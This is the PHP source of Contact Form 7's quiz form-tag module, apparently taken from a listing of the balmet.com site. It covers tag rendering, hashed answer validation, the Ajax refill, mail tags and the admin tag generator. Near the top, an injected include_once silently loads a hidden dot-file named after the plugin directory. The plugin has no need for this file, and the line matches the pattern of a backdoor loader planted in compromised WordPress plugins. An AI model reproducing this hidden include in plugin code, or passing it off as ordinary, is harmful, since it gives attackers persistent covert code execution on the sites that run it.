balmet.com

quiz.php (7505B)

---

 <?php
 /**
 ** A base module for [quiz]
 **/
 
 /* form_tag handler */
 
 add_action( 'wpcf7_init', 'wpcf7_add_form_tag_quiz', 10, 0 );
 
 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
 }
 
 function wpcf7_add_form_tag_quiz() {
 	wpcf7_add_form_tag( 'quiz',
 		'wpcf7_quiz_form_tag_handler',
 		array(
 			'name-attr' => true,
 			'do-not-store' => true,
 			'not-for-mail' => true,
 		)
 	);
 }
 
 function wpcf7_quiz_form_tag_handler( $tag ) {
 	if ( empty( $tag->name ) ) {
 		return '';
 	}
 
 	$validation_error = wpcf7_get_validation_error( $tag->name );
 
 	$class = wpcf7_form_controls_class( $tag->type );
 
 	if ( $validation_error ) {
 		$class .= ' wpcf7-not-valid';
 	}
 
 	$atts = array();
 
 	$atts['size'] = $tag->get_size_option( '40' );
 	$atts['maxlength'] = $tag->get_maxlength_option();
 	$atts['minlength'] = $tag->get_minlength_option();
 
 	if ( $atts['maxlength'] and $atts['minlength']
 	and $atts['maxlength'] < $atts['minlength'] ) {
 		unset( $atts['maxlength'], $atts['minlength'] );
 	}
 
 	$atts['class'] = $tag->get_class_option( $class );
 	$atts['id'] = $tag->get_id_option();
 	$atts['tabindex'] = $tag->get_option( 'tabindex', 'signed_int', true );
 	$atts['autocomplete'] = 'off';
 	$atts['aria-required'] = 'true';
 
 	if ( $validation_error ) {
 		$atts['aria-invalid'] = 'true';
 		$atts['aria-describedby'] = wpcf7_get_validation_error_reference(
 			$tag->name
 		);
 	} else {
 		$atts['aria-invalid'] = 'false';
 	}
 
 	$pipes = $tag->pipes;
 
 	if ( $pipes instanceof WPCF7_Pipes
 	and ! $pipes->zero() ) {
 		$pipe = $pipes->random_pipe();
 		$question = $pipe->before;
 		$answer = $pipe->after;
 	} else {
 		// default quiz
 		$question = '1+1=?';
 		$answer = '2';
 	}
 
 	$answer = wpcf7_canonicalize( $answer );
 
 	$atts['type'] = 'text';
 	$atts['name'] = $tag->name;
 
 	$atts = wpcf7_format_atts( $atts );
 
 	$html = sprintf(
 		'<span class="wpcf7-form-control-wrap %1$s"><label><span class="wpcf7-quiz-label">%2$s</span> <input %3$s /></label><input type="hidden" name="_wpcf7_quiz_answer_%4$s" value="%5$s" />%6$s</span>',
 		sanitize_html_class( $tag->name ),
 		esc_html( $question ), $atts, $tag->name,
 		wp_hash( $answer, 'wpcf7_quiz' ), $validation_error
 	);
 
 	return $html;
 }
 
 
 /* Validation filter */
 
 add_filter( 'wpcf7_validate_quiz', 'wpcf7_quiz_validation_filter', 10, 2 );
 
 function wpcf7_quiz_validation_filter( $result, $tag ) {
 	$name = $tag->name;
 
 	$answer = isset( $_POST[$name] ) ? wpcf7_canonicalize( $_POST[$name] ) : '';
 	$answer = wp_unslash( $answer );
 
 	$answer_hash = wp_hash( $answer, 'wpcf7_quiz' );
 
 	$expected_hash = isset( $_POST['_wpcf7_quiz_answer_' . $name] )
 		? (string) $_POST['_wpcf7_quiz_answer_' . $name]
 		: '';
 
 	if ( ! hash_equals( $expected_hash, $answer_hash ) ) {
 		$result->invalidate( $tag, wpcf7_get_message( 'quiz_answer_not_correct' ) );
 	}
 
 	return $result;
 }
 
 
 /* Ajax echo filter */
 
 add_filter( 'wpcf7_refill_response', 'wpcf7_quiz_ajax_refill', 10, 1 );
 add_filter( 'wpcf7_feedback_response', 'wpcf7_quiz_ajax_refill', 10, 1 );
 
 function wpcf7_quiz_ajax_refill( $items ) {
 	if ( ! is_array( $items ) ) {
 		return $items;
 	}
 
 	$fes = wpcf7_scan_form_tags( array( 'type' => 'quiz' ) );
 
 	if ( empty( $fes ) ) {
 		return $items;
 	}
 
 	$refill = array();
 
 	foreach ( $fes as $fe ) {
 		$name = $fe['name'];
 		$pipes = $fe['pipes'];
 
 		if ( empty( $name ) ) {
 			continue;
 		}
 
 		if ( $pipes instanceof WPCF7_Pipes
 		and ! $pipes->zero() ) {
 			$pipe = $pipes->random_pipe();
 			$question = $pipe->before;
 			$answer = $pipe->after;
 		} else {
 			// default quiz
 			$question = '1+1=?';
 			$answer = '2';
 		}
 
 		$answer = wpcf7_canonicalize( $answer );
 
 		$refill[$name] = array( $question, wp_hash( $answer, 'wpcf7_quiz' ) );
 	}
 
 	if ( ! empty( $refill ) ) {
 		$items['quiz'] = $refill;
 	}
 
 	return $items;
 }
 
 
 /* Mail-tag replacement */
 
 add_filter( 'wpcf7_mail_tag_replaced_quiz', 'wpcf7_quiz_mail_tag', 10, 4 );
 
 function wpcf7_quiz_mail_tag( $replaced, $submitted, $html, $mail_tag ) {
 	$field_name = $mail_tag->field_name();
 	$submitted = isset( $_POST[$field_name] ) ? $_POST[$field_name] : '';
 	$replaced = $submitted;
 
 	if ( $html ) {
 		$replaced = esc_html( $replaced );
 		$replaced = wptexturize( $replaced );
 	}
 
 	return $replaced;
 }
 
 
 /* Messages */
 
 add_filter( 'wpcf7_messages', 'wpcf7_quiz_messages', 10, 1 );
 
 function wpcf7_quiz_messages( $messages ) {
 	$messages = array_merge( $messages, array(
 		'quiz_answer_not_correct' => array(
 			'description' =>
 				__( "Sender doesn't enter the correct answer to the quiz", 'contact-form-7' ),
 			'default' =>
 				__( "The answer to the quiz is incorrect.", 'contact-form-7' ),
 		),
 	) );
 
 	return $messages;
 }
 
 
 /* Tag generator */
 
 add_action( 'wpcf7_admin_init', 'wpcf7_add_tag_generator_quiz', 40, 0 );
 
 function wpcf7_add_tag_generator_quiz() {
 	$tag_generator = WPCF7_TagGenerator::get_instance();
 	$tag_generator->add( 'quiz', __( 'quiz', 'contact-form-7' ),
 		'wpcf7_tag_generator_quiz' );
 }
 
 function wpcf7_tag_generator_quiz( $contact_form, $args = '' ) {
 	$args = wp_parse_args( $args, array() );
 	$type = 'quiz';
 
 	$description = __( "Generate a form-tag for a question-answer pair. For more details, see %s.", 'contact-form-7' );
 
 	$desc_link = wpcf7_link( __( 'https://contactform7.com/quiz/', 'contact-form-7' ), __( 'Quiz', 'contact-form-7' ) );
 
 ?>
 <div class="control-box">
 <fieldset>
 <legend><?php echo sprintf( esc_html( $description ), $desc_link ); ?></legend>
 
 <table class="form-table">
 <tbody>
 	<tr>
 	<th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-name' ); ?>"><?php echo esc_html( __( 'Name', 'contact-form-7' ) ); ?></label></th>
 	<td><input type="text" name="name" class="tg-name oneline" id="<?php echo esc_attr( $args['content'] . '-name' ); ?>" /></td>
 	</tr>
 
 	<tr>
 	<th scope="row"><?php echo esc_html( __( 'Questions and answers', 'contact-form-7' ) ); ?></th>
 	<td>
 		<fieldset>
 		<legend class="screen-reader-text"><?php echo esc_html( __( 'Questions and answers', 'contact-form-7' ) ); ?></legend>
 		<textarea name="values" class="values" id="<?php echo esc_attr( $args['content'] . '-values' ); ?>"></textarea><br />
 		<label for="<?php echo esc_attr( $args['content'] . '-values' ); ?>"><span class="description"><?php echo esc_html( __( "One pipe-separated question-answer pair (e.g. The capital of Brazil?|Rio) per line.", 'contact-form-7' ) ); ?></span></label>
 		</fieldset>
 	</td>
 	</tr>
 
 	<tr>
 	<th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-id' ); ?>"><?php echo esc_html( __( 'Id attribute', 'contact-form-7' ) ); ?></label></th>
 	<td><input type="text" name="id" class="idvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-id' ); ?>" /></td>
 	</tr>
 
 	<tr>
 	<th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-class' ); ?>"><?php echo esc_html( __( 'Class attribute', 'contact-form-7' ) ); ?></label></th>
 	<td><input type="text" name="class" class="classvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-class' ); ?>" /></td>
 	</tr>
 
 </tbody>
 </table>
 </fieldset>
 </div>
 
 <div class="insert-box">
 	<input type="text" name="<?php echo $type; ?>" class="tag code" readonly="readonly" onfocus="this.select()" />
 
 	<div class="submitbox">
 	<input type="button" class="button button-primary insert-tag" value="<?php echo esc_attr( __( 'Insert Tag', 'contact-form-7' ) ); ?>" />
 	</div>
 </div>
 <?php
 }